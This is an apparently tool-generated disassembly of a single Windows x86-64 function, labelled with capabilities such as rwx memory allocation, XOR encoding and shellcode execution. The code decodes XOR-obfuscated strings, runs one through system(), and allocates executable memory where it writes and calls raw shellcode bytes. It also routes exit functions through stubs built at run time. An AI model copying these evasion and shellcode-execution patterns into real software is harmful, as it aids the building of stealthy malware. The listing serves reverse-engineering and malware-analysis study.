Function at 0x140083f30
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute command
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov qword [0x14023f7b0], 0
mov word [0x14023f7b8], 0
mov qword [0x14023f010], 0
mov word [0x14023f018], 0
mov byte [0x14023f01a], 0
vpxor xmm0, xmm0, xmm0
xor edx, edx
vmovups ymmword [0x14023f960], ymm0
vmovups ymmword [0x14023f980], ymm0
mov byte [0x14023f9a0], dl
mov dword [0x14023eb10], edx
xor ecx, ecx
vmovups xmmword [0x14023f188], xmm0
mov qword [0x14023f198], rcx
mov dword [0x14023f1a0], ecx
mov byte [0x14023f188], 0x35
xor byte [0x14023f189], 0x36
xor byte [0x14023f18a], 0x37
xor byte [0x14023f18b], 0x38
xor byte [0x14023f18c], 0x39
xor byte [0x14023f18d], 0x3a
xor byte [0x14023f18e], 0x3b
xor byte [0x14023f18f], 0x3c
xor byte [0x14023f190], 0x3d
xor byte [0x14023f191], 0x3e
xor byte [0x14023f192], 0x3f
xor byte [0x14023f193], 0x40
xor byte [0x14023f194], 0x41
xor byte [0x14023f195], 0x42
xor byte [0x14023f196], 0x43
xor byte [0x14023f197], 0x44
movzx eax, cl
xor al, 0x45
mov byte [0x14023f198], al
xor byte [0x14023f199], 0x46
xor byte [0x14023f19a], 0x47
xor byte [0x14023f19b], 0x48
xor byte [0x14023f19c], 0x49
xor byte [0x14023f19d], 0x4a
xor byte [0x14023f19e], 0x4b
xor byte [0x14023f19f], 0x4c
xor cl, 0x4d
mov byte [0x14023f1a0], cl
xor byte [0x14023f1a1], 0x4e
xor byte [0x14023f1a2], 0x4f
xor byte [0x14023f1a3], 0x50
mov byte [0x14023f1a4], 0x51
vmovdqu xmm5, xmmword [0x14011a160]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmmword [0x14011a210]
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmmword [0x14011a210]
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, 4
vpsrld xmm0, xmm4, 0x1f
vpaddd xmm1, xmm0, xmm4
vpmulld xmm2, xmm1, xmmword [0x14011a180]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x14011a150]
vpaddb xmm2, xmm4, xmmword [0x14011a200]
vmovd xmm0, dword [0x14023eb10]
vpxor xmm1, xmm2, xmm0
vmovd dword [0x14023eb10], xmm1
mov r10d, 2
lea r9, [0x14023f961]
nop dword [rax]
nop dword [rax + rax]
lea r8d, [r10 - 2]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9 - 1], cl
lea ecx, [r10 - 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
mov eax, 0x4d4873ed
imul r10d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9 + 1], al
lea ecx, [r10 + 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9 + 2], al
lea ecx, [r10 + 2]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9 + 3], al
lea ecx, [r10 + 3]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x3a
xor byte [r9 + 4], al
lea ecx, [r10 + 4]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x3b
xor byte [r9 + 5], al
lea ecx, [r10 + 5]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x3c
xor byte [r9 + 6], al
lea ecx, [r10 + 6]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x3d
xor byte [r9 + 7], al
lea ecx, [r10 + 7]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x3e
xor byte [r9 + 8], al
lea ecx, [r10 + 8]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x3f
xor byte [r9 + 9], al
lea ecx, [r10 + 9]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x40
xor byte [r9 + 0xa], al
lea ecx, [r10 + 0xa]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub r8b, cl
add r8b, 0x41
xor byte [r9 + 0xb], r8b
add r10d, 0xd
lea r9, [r9 + 0xd]
lea eax, [r10 - 2]
cmp eax, 0x41
jl 0x140084100
mov dword [0x14023f010], 0x38373635
mov dword [0x14023f014], 0x3c3b3a39
mov word [0x14023f018], 0x3e3d
mov byte [0x14023f01a], 0x3f
mov dword [0x14023f7b0], 0x38373635
mov dword [0x14023f7b4], 0x3c3b3a39
mov word [0x14023f7b8], 0x3e3d
lea rax, [rsp + 0x88]
movabs r12, 0xff00ff00ff00ff00
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x30], rax
mov rax, qword [rax]
xor rax, r12
mov qword [rsp + 0x20], rax
lea rax, [rsp + 0x88]
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x38], r12
xor esi, esi
mov qword [rax], rsi
mov ecx, esi
lea rbx, [0x140079570]
lea rdi, [0x140000000]
mov rax, qword [0x14023fb80]
test rax, rax
je 0x1400843d9
mov edx, esi
cmp rax, rbx
je 0x1400843c8
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x23fb80]
test rax, rax
jne 0x1400843b0
jmp 0x1400843d9
mov r8, qword [rdi + rdx*8 + 0x23fea0]
test r8, r8
jne 0x1400844dd
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
vzeroupper
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140084403
mov r8, rsi
jmp 0x1400844bc
mov rax, rbx
mov rcx, r8
mov edx, 3
nop
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
vmovups xmm1, xmmword [rax + 0x70]
vmovups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140084410
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14023fb70]
mov qword [rdi + rax*8 + 0x23fb80], rbx
mov qword [rdi + rax*8 + 0x23fea0], r8
inc rax
mov qword [0x14023fb70], rax
lea rcx, [fcn.140050060]
vzeroupper
call r8
nop
lea r14, [rsp + 0x88]
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x38], r12
mov qword [r14], rsi
mov ecx, esi
mov rax, qword [0x14023fb80]
test rax, rax
je 0x14008453f
mov rdx, rsi
cmp rax, rbx
je 0x14008452e
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x23fb80]
test rax, rax
jne 0x140084516
jmp 0x14008453f
mov r8, qword [rdi + rdx*8 + 0x23fea0]
test r8, r8
jne 0x14008463e
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140084566
mov r8, rsi
jmp 0x14008461d
mov rax, rbx
mov rcx, r8
mov edx, 3
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
vmovups xmm1, xmmword [rax + 0x70]
vmovups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140084571
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14023fb70]
mov qword [rdi + rax*8 + 0x23fb80], rbx
mov qword [rdi + rax*8 + 0x23fea0], r8
inc rax
mov qword [0x14023fb70], rax
lea rcx, [fcn.140050060]
call r8
nop
mov rax, r12
xor rax, r12
mov qword [r14], rax
vmovups ymm0, ymmword [0x140118918]
vmovups ymmword [rsp + 0x38], ymm0
mov eax, dword [0x140118938]
mov dword [rsp + 0x58], eax
movzx ecx, byte [0x14011893c]
mov byte [rsp + 0x38], WSAGetLastError
xor byte [rsp + 0x39], 0x36
xor byte [rsp + 0x3a], 0x37
xor byte [rsp + 0x3b], 0x38
xor byte [rsp + 0x3c], 0x39
xor byte [rsp + 0x3d], 0x3a
xor byte [rsp + 0x3e], 0x3b
xor byte [rsp + 0x3f], 0x3c
xor byte [rsp + 0x40], 0x3d
xor byte [rsp + 0x41], 0x3e
xor byte [rsp + 0x42], 0x3f
xor byte [rsp + 0x43], 0x40
xor byte [rsp + 0x44], 0x41
xor byte [rsp + 0x45], 0x42
xor byte [rsp + 0x46], 0x43
xor byte [rsp + 0x47], 0x44
xor byte [rsp + 0x48], 0x45
xor byte [rsp + 0x49], 0x46
xor byte [rsp + 0x4a], 0x47
xor byte [rsp + 0x4b], 0x48
xor byte [rsp + 0x4c], 0x49
xor byte [rsp + 0x4d], 0x4a
xor byte [rsp + 0x4e], 0x4b
xor byte [rsp + 0x4f], 0x4c
xor byte [rsp + 0x50], 0x4d
xor byte [rsp + 0x51], 0x4e
xor byte [rsp + 0x52], 0x4f
xor byte [rsp + 0x53], 0x50
xor byte [rsp + 0x54], 0x51
xor byte [rsp + 0x55], 0x52
xor byte [rsp + 0x56], 0x53
xor byte [rsp + 0x57], 0x54
xor al, 0x55
mov byte [rsp + 0x58], al
xor byte [rsp + 0x59], 0x56
xor byte [rsp + 0x5a], 0x57
xor byte [rsp + 0x5b], 0x58
xor cl, 0x59
mov byte [rsp + 0x5c], cl
lea rcx, [rsp + 0x38]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WS2_32.dll_ntohl
xor ecx, ecx
lea r9d, [rdx + 0x32]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x140084787
mov dword [rax], 0xdb31c031
mov dword [rax + 4], 0xd231c931
mov dword [rax + 8], 0xed31e431
mov word [rax + 0xc], 0xe4ff
call rbx
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
call rsi
lea r15, [rsp + 0x88]
lea r14, [0x1400795a0]
lea r13, [0x1400795a0]
nop
mov dword [rsp + 0x90], esi
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r15
mov rbx, qword [r15]
xor rbx, r12
mov qword [rsp + 0x38], rbx
mov qword [r15], rsi
mov ecx, esi
mov rax, qword [0x1402401d0]
test rax, rax
je 0x1400847f9
mov rdx, rsi
cmp rax, r14
je 0x1400847e8
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x2401d0]
test rax, rax
jne 0x1400847d0
jmp 0x1400847f9
mov r8, qword [rdi + rdx*8 + 0x2404f0]
test r8, r8
jne 0x1400848fd
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140084820
mov r8, rsi
jmp 0x1400848dc
mov rcx, rax
mov rax, r14
mov edx, 3
nop dword [rax + rax]
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
vmovups xmm1, xmmword [rax + 0x70]
vmovups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140084830
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402401c0]
mov qword [rdi + rax*8 + 0x2401d0], r14
mov qword [rdi + rax*8 + 0x2404f0], r8
inc rax
mov qword [0x1402401c0], rax
lea rdx, [rsp + 0x90]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call r8
nop
mov dword [rsp + 0x90], esi
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x38], rbx
mov qword [r15], rsi
mov ecx, esi
mov rax, qword [0x1402401d0]
test rax, rax
je 0x140084969
mov rdx, rsi
nop word [rax + rax]
cmp rax, r14
je 0x140084958
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x2401d0]
test rax, rax
jne 0x140084940
jmp 0x140084969
mov r8, qword [rdi + rdx*8 + 0x2404f0]
test r8, r8
jne 0x140084a6d
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140084990
mov r8, rsi
jmp 0x140084a4c
mov rcx, rax
mov rax, r14
mov edx, 3
nop dword [rax + rax]
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
vmovups xmm1, xmmword [rax + 0x70]
vmovups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400849a0
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402401c0]
mov qword [rdi + rax*8 + 0x2401d0], r14
mov qword [rdi + rax*8 + 0x2404f0], r8
inc rax
mov qword [0x1402401c0], rax
lea rdx, [rsp + 0x90]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__Exit]
call r8
nop
mov dword [rsp + 0x90], esi
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x38], rbx
mov qword [r15], rsi
mov ecx, esi
mov rax, qword [0x1402401d0]
test rax, rax
je 0x140084ad9
mov rdx, rsi
nop word [rax + rax]
cmp rax, r14
je 0x140084ac8
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x2401d0]
test rax, rax
jne 0x140084ab0
jmp 0x140084ad9
mov r8, qword [rdi + rdx*8 + 0x2404f0]
test r8, r8
jne 0x140084bdd
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140084b00
mov r8, rsi
jmp 0x140084bbc
mov rcx, rax
mov rax, r14
mov edx, 3
nop dword [rax + rax]
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
vmovups xmm1, xmmword [rax + 0x70]
vmovups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140084b10
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402401c0]
mov qword [rdi + rax*8 + 0x2401d0], r14
mov qword [rdi + rax*8 + 0x2404f0], r8
inc rax
mov qword [0x1402401c0], rax
lea rdx, [rsp + 0x90]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call r8
nop
mov dword [rsp + 0x90], esi
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x38], rbx
mov qword [r15], rsi
mov ecx, esi
mov rax, qword [0x1402401d0]
test rax, rax
je 0x140084c49
mov rdx, rsi
nop word [rax + rax]
cmp rax, r14
je 0x140084c38
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x2401d0]
test rax, rax
jne 0x140084c20
jmp 0x140084c49
mov r8, qword [rdi + rdx*8 + 0x2404f0]
test r8, r8
jne 0x140084d4d
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140084c70
mov r8, rsi
jmp 0x140084d2c
mov rdx, rax
mov rax, r14
mov ecx, 3
nop dword [rax + rax]
vmovups xmm0, xmmword [rax]
vmovups xmmword [rdx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rdx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rdx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rdx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rdx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rdx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
vmovups xmm1, xmmword [rax + 0x70]
vmovups xmmword [rdx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rcx, 1
jne 0x140084c80
vmovups xmm0, xmmword [rax]
vmovups xmmword [rdx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rdx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rdx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rdx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rdx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rdx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rdx + 0x60], xmm0
mov ecx, dword [rax + 0x70]
mov dword [rdx + 0x70], ecx
mov rax, qword [0x1402401c0]
mov qword [rdi + rax*8 + 0x2401d0], r14
mov qword [rdi + rax*8 + 0x2404f0], r8
inc rax
mov qword [0x1402401c0], rax
lea rdx, [rsp + 0x90]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_quick_exit]
call r8
nop
mov dword [rsp + 0x90], esi
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x38], rbx
mov qword [r15], rsi
mov ecx, esi
mov rax, qword [0x140240820]
test rax, rax
je 0x140084db9
mov rdx, rsi
nop word [rax + rax]
cmp rax, r13
je 0x140084da8
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x240820]
test rax, rax
jne 0x140084d90
jmp 0x140084db9
mov r8, qword [rdi + rdx*8 + 0x240b40]
test r8, r8
jne 0x140084ebd
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140084de0
mov r8, rsi
jmp 0x140084e9c
mov rcx, rax
mov rax, r13
mov edx, 3
nop dword [rax + rax]
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
vmovups xmm1, xmmword [rax + 0x70]
vmovups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140084df0
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140240810]
mov qword [rdi + rax*8 + 0x240820], r13
mov qword [rdi + rax*8 + 0x240b40], r8
inc rax
mov qword [0x140240810], rax
lea rdx, [rsp + 0x90]
mov rcx, qword [sym.imp.KERNEL32.dll_ExitProcess]
call r8
nop
xor rbx, r12
mov qword [r15], rbx
jmp 0x1400847a0